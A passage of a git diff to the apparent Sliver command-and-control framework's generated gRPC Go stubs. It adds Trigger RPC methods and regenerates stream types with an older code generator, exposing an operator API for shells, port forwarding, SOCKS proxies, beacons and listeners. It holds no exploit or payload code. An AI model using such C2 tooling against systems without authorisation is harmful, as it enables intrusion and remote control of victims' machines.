sliverpb.WGSocks + 244, // 377: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks + 245, // 378: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders + 246, // 379: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers + 247, // 380: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell + 0, // 381: rpcpb.SliverRPC.ShellResize:output_type -> commonpb.Empty + 248, // 382: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd + 134, // 383: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks + 0, // 384: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty + 135, // 385: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData + 151, // 386: rpcpb.SliverRPC.StartTriggerListener:output_type -> clientpb.ListenerJob + 249, // 387: rpcpb.SliverRPC.TriggerIntents:output_type -> clientpb.TriggerIntents + 0, // 388: rpcpb.SliverRPC.TriggerDispatchTask:output_type -> commonpb.Empty + 250, // 389: rpcpb.SliverRPC.TriggerFire:output_type -> clientpb.TriggerFireResp + 140, // 390: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel + 0, // 391: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty + 141, // 392: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData + 34, // 393: rpcpb.SliverRPC.Events:output_type -> clientpb.Event + 197, // [197:394] is the sub-list for method output_type + 0, // [0:197] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name diff --git a/protobuf/rpcpb/services.proto b/protobuf/rpcpb/services.proto index 6ea90bf5b3..11ca959041 100644 --- a/protobuf/rpcpb/services.proto +++ b/protobuf/rpcpb/services.proto @@ -298,6 +298,12 @@ service SliverRPC { rpc CloseSocks(sliverpb.Socks) returns (commonpb.Empty); rpc SocksProxy(stream sliverpb.SocksData) returns (stream sliverpb.SocksData); + // *** Trigger *** + rpc StartTriggerListener(clientpb.TriggerListenerReq) returns (clientpb.ListenerJob); + rpc TriggerIntents(clientpb.TriggerIntentsReq) returns (clientpb.TriggerIntents); + rpc TriggerDispatchTask(clientpb.TriggerDispatchTaskReq) returns (commonpb.Empty); + rpc TriggerFire(clientpb.TriggerFireReq) returns (clientpb.TriggerFireResp); + // *** Tunnels *** rpc CreateTunnel(sliverpb.Tunnel) returns (sliverpb.Tunnel); rpc CloseTunnel(sliverpb.Tunnel) returns (commonpb.Empty); diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go index 1c77b9832c..32fcb4b7af 100644 --- a/protobuf/rpcpb/services_grpc.pb.go +++ b/protobuf/rpcpb/services_grpc.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. // versions: -// - protoc-gen-go-grpc v1.6.1 -// - protoc v7.34.1 +// - protoc-gen-go-grpc v1.3.0 +// - protoc v3.21.12 // source: rpcpb/services.proto package rpcpb @@ -18,8 +18,8 @@ import ( // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. -// Requires gRPC-Go v1.64.0 or later. -const _ = grpc.SupportPackageIsVersion9 +// Requires gRPC-Go v1.62.0 or later. +const _ = grpc.SupportPackageIsVersion8 const ( SliverRPC_GetVersion_FullMethodName = "/rpcpb.SliverRPC/GetVersion" @@ -211,6 +211,10 @@ const ( SliverRPC_CreateSocks_FullMethodName = "/rpcpb.SliverRPC/CreateSocks" SliverRPC_CloseSocks_FullMethodName = "/rpcpb.SliverRPC/CloseSocks" SliverRPC_SocksProxy_FullMethodName = "/rpcpb.SliverRPC/SocksProxy" + SliverRPC_StartTriggerListener_FullMethodName = "/rpcpb.SliverRPC/StartTriggerListener" + SliverRPC_TriggerIntents_FullMethodName = "/rpcpb.SliverRPC/TriggerIntents" + SliverRPC_TriggerDispatchTask_FullMethodName = "/rpcpb.SliverRPC/TriggerDispatchTask" + SliverRPC_TriggerFire_FullMethodName = "/rpcpb.SliverRPC/TriggerFire" SliverRPC_CreateTunnel_FullMethodName = "/rpcpb.SliverRPC/CreateTunnel" SliverRPC_CloseTunnel_FullMethodName = "/rpcpb.SliverRPC/CloseTunnel" SliverRPC_TunnelData_FullMethodName = "/rpcpb.SliverRPC/TunnelData" @@ -224,7 +228,7 @@ type SliverRPCClient interface { // *** Version *** GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Version, error) // *** Client Logs *** - ClientLog(ctx context.Context, opts ...grpc.CallOption) (grpc.ClientStreamingClient[clientpb.ClientLogData, commonpb.Empty], error) + ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) // *** Operator Commands *** GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) // *** Generic *** @@ -300,7 +304,7 @@ type SliverRPCClient interface { GetHTTPC2ProfileByName(ctx context.Context, in *clientpb.C2ProfileReq, opts ...grpc.CallOption) (*clientpb.HTTPC2Config, error) SaveHTTPC2Profile(ctx context.Context, in *clientpb.HTTPC2ConfigReq, opts ...grpc.CallOption) (*commonpb.Empty, error) // *** Builders *** - BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (grpc.ServerStreamingClient[clientpb.Event], error) + BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error) BuilderTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) Builders(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Builders, error) // *** Certificates *** @@ -308,7 +312,7 @@ type SliverRPCClient interface { GetCertificateAuthorityInfo(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.CertificateAuthorityInfo, error) // *** Crackstation *** Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error) - CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (grpc.ServerStreamingClient[clientpb.Event], error) + CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) CrackstationBenchmark(ctx context.Context, in *clientpb.CrackBenchmark, opts ...grpc.CallOption) (*commonpb.Empty, error) Crackstations(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Crackstations, error) @@ -438,13 +442,18 @@ type SliverRPCClient interface { // *** Socks5 *** CreateSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*sliverpb.Socks, error) CloseSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*commonpb.Empty, error) - SocksProxy(ctx context.Context, opts ...grpc.CallOption) (grpc.BidiStreamingClient[sliverpb.SocksData, sliverpb.SocksData], error) + SocksProxy(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_SocksProxyClient, error) + // *** Trigger *** + StartTriggerListener(ctx context.Context, in *clientpb.TriggerListenerReq, opts ...grpc.CallOption) (*clientpb.ListenerJob, error) + TriggerIntents(ctx context.Context, in *clientpb.TriggerIntentsReq, opts ...grpc.CallOption) (*clientpb.TriggerIntents, error) + TriggerDispatchTask(ctx context.Context, in *clientpb.TriggerDispatchTaskReq, opts ...grpc.CallOption) (*commonpb.Empty, error) + TriggerFire(ctx context.Context, in *clientpb.TriggerFireReq, opts ...grpc.CallOption) (*clientpb.TriggerFireResp, error) // *** Tunnels *** CreateTunnel(ctx context.Context, in *sliverpb.Tunnel, opts ...grpc.CallOption) (*sliverpb.Tunnel, error) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel, opts ...grpc.CallOption) (*commonpb.Empty, error) - TunnelData(ctx context.Context, opts ...grpc.CallOption) (grpc.BidiStreamingClient[sliverpb.TunnelData, sliverpb.TunnelData], error) + TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error) // *** Events *** - Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (grpc.ServerStreamingClient[clientpb.Event], error) + Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error) } type sliverRPCClient struct { @@ -465,18 +474,40 @@ func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, op return out, nil } -func (c *sliverRPCClient) ClientLog(ctx context.Context, opts ...grpc.CallOption) (grpc.ClientStreamingClient[clientpb.ClientLogData, commonpb.Empty], error) { +func (c *sliverRPCClient) ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], SliverRPC_ClientLog_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &grpc.GenericClientStream[clientpb.ClientLogData, commonpb.Empty]{ClientStream: stream} + x := &sliverRPCClientLogClient{ClientStream: stream} return x, nil } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_ClientLogClient = grpc.ClientStreamingClient[clientpb.ClientLogData, commonpb.Empty] +type SliverRPC_ClientLogClient interface { + Send(*clientpb.ClientLogData) error + CloseAndRecv() (*commonpb.Empty, error) + grpc.ClientStream +} + +type sliverRPCClientLogClient struct { + grpc.ClientStream +} + +func (x *sliverRPCClientLogClient) Send(m *clientpb.ClientLogData) error { + return x.ClientStream.SendMsg(m) +} + +func (x *sliverRPCClientLogClient) CloseAndRecv() (*commonpb.Empty, error) { + if err := x.ClientStream.CloseSend(); err != nil { + return nil, err + } + m := new(commonpb.Empty) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} func (c *sliverRPCClient) GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) @@ -1078,13 +1109,13 @@ func (c *sliverRPCClient) SaveHTTPC2Profile(ctx context.Context, in *clientpb.HT return out, nil } -func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (grpc.ServerStreamingClient[clientpb.Event], error) { +func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_BuilderRegister_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &grpc.GenericClientStream[clientpb.Builder, clientpb.Event]{ClientStream: stream} + x := &sliverRPCBuilderRegisterClient{ClientStream: stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } @@ -1094,8 +1125,22 @@ func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Buil return x, nil } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_BuilderRegisterClient = grpc.ServerStreamingClient[clientpb.Event] +type SliverRPC_BuilderRegisterClient interface { + Recv() (*clientpb.Event, error) + grpc.ClientStream +} + +type sliverRPCBuilderRegisterClient struct { + grpc.ClientStream +} + +func (x *sliverRPCBuilderRegisterClient) Recv() (*clientpb.Event, error) { + m := new(clientpb.Event) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} func (c *sliverRPCClient) BuilderTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) @@ -1147,13 +1192,13 @@ func (c *sliverRPCClient) Crack(ctx context.Context, in *clientpb.CrackCommand, return out, nil } -func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (grpc.ServerStreamingClient[clientpb.Event], error) { +func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_CrackstationRegister_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &grpc.GenericClientStream[clientpb.Crackstation, clientpb.Event]{ClientStream: stream} + x := &sliverRPCCrackstationRegisterClient{ClientStream: stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } @@ -1163,8 +1208,22 @@ func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb return x, nil } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_CrackstationRegisterClient = grpc.ServerStreamingClient[clientpb.Event] +type SliverRPC_CrackstationRegisterClient interface { + Recv() (*clientpb.Event, error) + grpc.ClientStream +} + +type sliverRPCCrackstationRegisterClient struct { + grpc.ClientStream +} + +func (x *sliverRPCCrackstationRegisterClient) Recv() (*clientpb.Event, error) { + m := new(clientpb.Event) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} func (c *sliverRPCClient) CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) @@ -2356,18 +2415,77 @@ func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, op return out, nil } -func (c *sliverRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (grpc.BidiStreamingClient[sliverpb.SocksData, sliverpb.SocksData], error) { +func (c *sliverRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_SocksProxyClient, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_SocksProxy_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &grpc.GenericClientStream[sliverpb.SocksData, sliverpb.SocksData]{ClientStream: stream} + x := &sliverRPCSocksProxyClient{ClientStream: stream} return x, nil } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_SocksProxyClient = grpc.BidiStreamingClient[sliverpb.SocksData, sliverpb.SocksData] +type SliverRPC_SocksProxyClient interface { + Send(*sliverpb.SocksData) error + Recv() (*sliverpb.SocksData, error) + grpc.ClientStream +} + +type sliverRPCSocksProxyClient struct { + grpc.ClientStream +} + +func (x *sliverRPCSocksProxyClient) Send(m *sliverpb.SocksData) error { + return x.ClientStream.SendMsg(m) +} + +func (x *sliverRPCSocksProxyClient) Recv() (*sliverpb.SocksData, error) { + m := new(sliverpb.SocksData) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + +func (c *sliverRPCClient) StartTriggerListener(ctx context.Context, in *clientpb.TriggerListenerReq, opts ...grpc.CallOption) (*clientpb.ListenerJob, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + out := new(clientpb.ListenerJob) + err := c.cc.Invoke(ctx, SliverRPC_StartTriggerListener_FullMethodName, in, out, cOpts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *sliverRPCClient) TriggerIntents(ctx context.Context, in *clientpb.TriggerIntentsReq, opts ...grpc.CallOption) (*clientpb.TriggerIntents, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + out := new(clientpb.TriggerIntents) + err := c.cc.Invoke(ctx, SliverRPC_TriggerIntents_FullMethodName, in, out, cOpts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *sliverRPCClient) TriggerDispatchTask(ctx context.Context, in *clientpb.TriggerDispatchTaskReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + out := new(commonpb.Empty) + err := c.cc.Invoke(ctx, SliverRPC_TriggerDispatchTask_FullMethodName, in, out, cOpts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *sliverRPCClient) TriggerFire(ctx context.Context, in *clientpb.TriggerFireReq, opts ...grpc.CallOption) (*clientpb.TriggerFireResp, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + out := new(clientpb.TriggerFireResp) + err := c.cc.Invoke(ctx, SliverRPC_TriggerFire_FullMethodName, in, out, cOpts...) + if err != nil { + return nil, err + } + return out, nil +} func (c *sliverRPCClient) CreateTunnel(ctx context.Context, in *sliverpb.Tunnel, opts ...grpc.CallOption) (*sliverpb.Tunnel, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) @@ -2389,26 +2507,45 @@ func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel, return out, nil } -func (c *sliverRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (grpc.BidiStreamingClient[sliverpb.TunnelData, sliverpb.TunnelData], error) { +func (c *sliverRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_TunnelData_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &grpc.GenericClientStream[sliverpb.TunnelData, sliverpb.TunnelData]{ClientStream: stream} + x := &sliverRPCTunnelDataClient{ClientStream: stream} return x, nil } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_TunnelDataClient = grpc.BidiStreamingClient[sliverpb.TunnelData, sliverpb.TunnelData] +type SliverRPC_TunnelDataClient interface { + Send(*sliverpb.TunnelData) error + Recv() (*sliverpb.TunnelData, error) + grpc.ClientStream +} + +type sliverRPCTunnelDataClient struct { + grpc.ClientStream +} + +func (x *sliverRPCTunnelDataClient) Send(m *sliverpb.TunnelData) error { + return x.ClientStream.SendMsg(m) +} + +func (x *sliverRPCTunnelDataClient) Recv() (*sliverpb.TunnelData, error) { + m := new(sliverpb.TunnelData) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} -func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (grpc.ServerStreamingClient[clientpb.Event], error) { +func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_Events_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &grpc.GenericClientStream[commonpb.Empty, clientpb.Event]{ClientStream: stream} + x := &sliverRPCEventsClient{ClientStream: stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } @@ -2418,17 +2555,31 @@ func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts . return x, nil } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_EventsClient = grpc.ServerStreamingClient[clientpb.Event] +type SliverRPC_EventsClient interface { + Recv() (*clientpb.Event, error) + grpc.ClientStream +} + +type sliverRPCEventsClient struct { + grpc.ClientStream +} + +func (x *sliverRPCEventsClient) Recv() (*clientpb.Event, error) { + m := new(clientpb.Event) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} // SliverRPCServer is the server API for SliverRPC service. // All implementations must embed UnimplementedSliverRPCServer -// for forward compatibility. +// for forward compatibility type SliverRPCServer interface { // *** Version *** GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) // *** Client Logs *** - ClientLog(grpc.ClientStreamingServer[clientpb.ClientLogData, commonpb.Empty]) error + ClientLog(SliverRPC_ClientLogServer) error // *** Operator Commands *** GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) // *** Generic *** @@ -2504,7 +2655,7 @@ type SliverRPCServer interface { GetHTTPC2ProfileByName(context.Context, *clientpb.C2ProfileReq) (*clientpb.HTTPC2Config, error) SaveHTTPC2Profile(context.Context, *clientpb.HTTPC2ConfigReq) (*commonpb.Empty, error) // *** Builders *** - BuilderRegister(*clientpb.Builder, grpc.ServerStreamingServer[clientpb.Event]) error + BuilderRegister(*clientpb.Builder, SliverRPC_BuilderRegisterServer) error BuilderTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error) Builders(context.Context, *commonpb.Empty) (*clientpb.Builders, error) // *** Certificates *** @@ -2512,7 +2663,7 @@ type SliverRPCServer interface { GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error) // *** Crackstation *** Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error) - CrackstationRegister(*clientpb.Crackstation, grpc.ServerStreamingServer[clientpb.Event]) error + CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error CrackstationTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error) CrackstationBenchmark(context.Context, *clientpb.CrackBenchmark) (*commonpb.Empty, error) Crackstations(context.Context, *commonpb.Empty) (*clientpb.Crackstations, error) @@ -2642,604 +2793,617 @@ type SliverRPCServer interface { // *** Socks5 *** CreateSocks(context.Context, *sliverpb.Socks) (*sliverpb.Socks, error) CloseSocks(context.Context, *sliverpb.Socks) (*commonpb.Empty, error) - SocksProxy(grpc.BidiStreamingServer[sliverpb.SocksData, sliverpb.SocksData]) error + SocksProxy(SliverRPC_SocksProxyServer) error + // *** Trigger *** + StartTriggerListener(context.Context, *clientpb.TriggerListenerReq) (*clientpb.ListenerJob, error) + TriggerIntents(context.Context, *clientpb.TriggerIntentsReq) (*clientpb.TriggerIntents, error) + TriggerDispatchTask(context.Context, *clientpb.TriggerDispatchTaskReq) (*commonpb.Empty, error) + TriggerFire(context.Context, *clientpb.TriggerFireReq) (*clientpb.TriggerFireResp, error) // *** Tunnels *** CreateTunnel(context.Context, *sliverpb.Tunnel) (*sliverpb.Tunnel, error) CloseTunnel(context.Context, *sliverpb.Tunnel) (*commonpb.Empty, error) - TunnelData(grpc.BidiStreamingServer[sliverpb.TunnelData, sliverpb.TunnelData]) error + TunnelData(SliverRPC_TunnelDataServer) error // *** Events *** - Events(*commonpb.Empty, grpc.ServerStreamingServer[clientpb.Event]) error + Events(*commonpb.Empty, SliverRPC_EventsServer) error mustEmbedUnimplementedSliverRPCServer() } -// UnimplementedSliverRPCServer must be embedded to have -// forward compatible implementations. -// -// NOTE: this should be embedded by value instead of pointer to avoid a nil -// pointer dereference when methods are called. -type UnimplementedSliverRPCServer struct{} +// UnimplementedSliverRPCServer must be embedded to have forward compatible implementations. +type UnimplementedSliverRPCServer struct { +} func (UnimplementedSliverRPCServer) GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) { - return nil, status.Error(codes.Unimplemented, "method GetVersion not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented") } -func (UnimplementedSliverRPCServer) ClientLog(grpc.ClientStreamingServer[clientpb.ClientLogData, commonpb.Empty]) error { - return status.Error(codes.Unimplemented, "method ClientLog not implemented") +func (UnimplementedSliverRPCServer) ClientLog(SliverRPC_ClientLogServer) error { + return status.Errorf(codes.Unimplemented, "method ClientLog not implemented") } func (UnimplementedSliverRPCServer) GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) { - return nil, status.Error(codes.Unimplemented, "method GetOperators not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetOperators not implemented") } func (UnimplementedSliverRPCServer) Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method Kill not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented") } func (UnimplementedSliverRPCServer) Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) { - return nil, status.Error(codes.Unimplemented, "method Reconfigure not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Reconfigure not implemented") } func (UnimplementedSliverRPCServer) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method Rename not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Rename not implemented") } func (UnimplementedSliverRPCServer) GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) { - return nil, status.Error(codes.Unimplemented, "method GetSessions not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetSessions not implemented") } func (UnimplementedSliverRPCServer) MonitorStart(context.Context, *commonpb.Empty) (*commonpb.Response, error) { - return nil, status.Error(codes.Unimplemented, "method MonitorStart not implemented") + return nil, status.Errorf(codes.Unimplemented, "method MonitorStart not implemented") } func (UnimplementedSliverRPCServer) MonitorStop(context.Context, *commonpb.Empty) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method MonitorStop not implemented") + return nil, status.Errorf(codes.Unimplemented, "method MonitorStop not implemented") } func (UnimplementedSliverRPCServer) MonitorListConfig(context.Context, *commonpb.Empty) (*clientpb.MonitoringProviders, error) { - return nil, status.Error(codes.Unimplemented, "method MonitorListConfig not implemented") + return nil, status.Errorf(codes.Unimplemented, "method MonitorListConfig not implemented") } func (UnimplementedSliverRPCServer) MonitorAddConfig(context.Context, *clientpb.MonitoringProvider) (*commonpb.Response, error) { - return nil, status.Error(codes.Unimplemented, "method MonitorAddConfig not implemented") + return nil, status.Errorf(codes.Unimplemented, "method MonitorAddConfig not implemented") } func (UnimplementedSliverRPCServer) MonitorDelConfig(context.Context, *clientpb.MonitoringProvider) (*commonpb.Response, error) { - return nil, status.Error(codes.Unimplemented, "method MonitorDelConfig not implemented") + return nil, status.Errorf(codes.Unimplemented, "method MonitorDelConfig not implemented") } func (UnimplementedSliverRPCServer) GetAIProviders(context.Context, *commonpb.Empty) (*clientpb.AIProviderConfigs, error) { - return nil, status.Error(codes.Unimplemented, "method GetAIProviders not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetAIProviders not implemented") } func (UnimplementedSliverRPCServer) GetAIConversations(context.Context, *commonpb.Empty) (*clientpb.AIConversations, error) { - return nil, status.Error(codes.Unimplemented, "method GetAIConversations not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetAIConversations not implemented") } func (UnimplementedSliverRPCServer) GetAIConversation(context.Context, *clientpb.AIConversationReq) (*clientpb.AIConversation, error) { - return nil, status.Error(codes.Unimplemented, "method GetAIConversation not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetAIConversation not implemented") } func (UnimplementedSliverRPCServer) SaveAIConversation(context.Context, *clientpb.AIConversation) (*clientpb.AIConversation, error) { - return nil, status.Error(codes.Unimplemented, "method SaveAIConversation not implemented") + return nil, status.Errorf(codes.Unimplemented, "method SaveAIConversation not implemented") } func (UnimplementedSliverRPCServer) DeleteAIConversation(context.Context, *clientpb.AIConversationReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method DeleteAIConversation not implemented") + return nil, status.Errorf(codes.Unimplemented, "method DeleteAIConversation not implemented") } func (UnimplementedSliverRPCServer) GetAIConversationMessages(context.Context, *clientpb.AIConversationReq) (*clientpb.AIConversationMessages, error) { - return nil, status.Error(codes.Unimplemented, "method GetAIConversationMessages not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetAIConversationMessages not implemented") } func (UnimplementedSliverRPCServer) SaveAIConversationMessage(context.Context, *clientpb.AIConversationMessage) (*clientpb.AIConversationMessage, error) { - return nil, status.Error(codes.Unimplemented, "method SaveAIConversationMessage not implemented") + return nil, status.Errorf(codes.Unimplemented, "method SaveAIConversationMessage not implemented") } func (UnimplementedSliverRPCServer) StartMTLSListener(context.Context, *clientpb.MTLSListenerReq) (*clientpb.ListenerJob, error) { - return nil, status.Error(codes.Unimplemented, "method StartMTLSListener not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StartMTLSListener not implemented") } func (UnimplementedSliverRPCServer) StartWGListener(context.Context, *clientpb.WGListenerReq) (*clientpb.ListenerJob, error) { - return nil, status.Error(codes.Unimplemented, "method StartWGListener not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StartWGListener not implemented") } func (UnimplementedSliverRPCServer) StartDNSListener(context.Context, *clientpb.DNSListenerReq) (*clientpb.ListenerJob, error) { - return nil, status.Error(codes.Unimplemented, "method StartDNSListener not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StartDNSListener not implemented") } func (UnimplementedSliverRPCServer) StartHTTPSListener(context.Context, *clientpb.HTTPListenerReq) (*clientpb.ListenerJob, error) { - return nil, status.Error(codes.Unimplemented, "method StartHTTPSListener not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StartHTTPSListener not implemented") } func (UnimplementedSliverRPCServer) StartHTTPListener(context.Context, *clientpb.HTTPListenerReq) (*clientpb.ListenerJob, error) { - return nil, status.Error(codes.Unimplemented, "method StartHTTPListener not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StartHTTPListener not implemented") } func (UnimplementedSliverRPCServer) GetBeacons(context.Context, *commonpb.Empty) (*clientpb.Beacons, error) { - return nil, status.Error(codes.Unimplemented, "method GetBeacons not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetBeacons not implemented") } func (UnimplementedSliverRPCServer) GetBeacon(context.Context, *clientpb.Beacon) (*clientpb.Beacon, error) { - return nil, 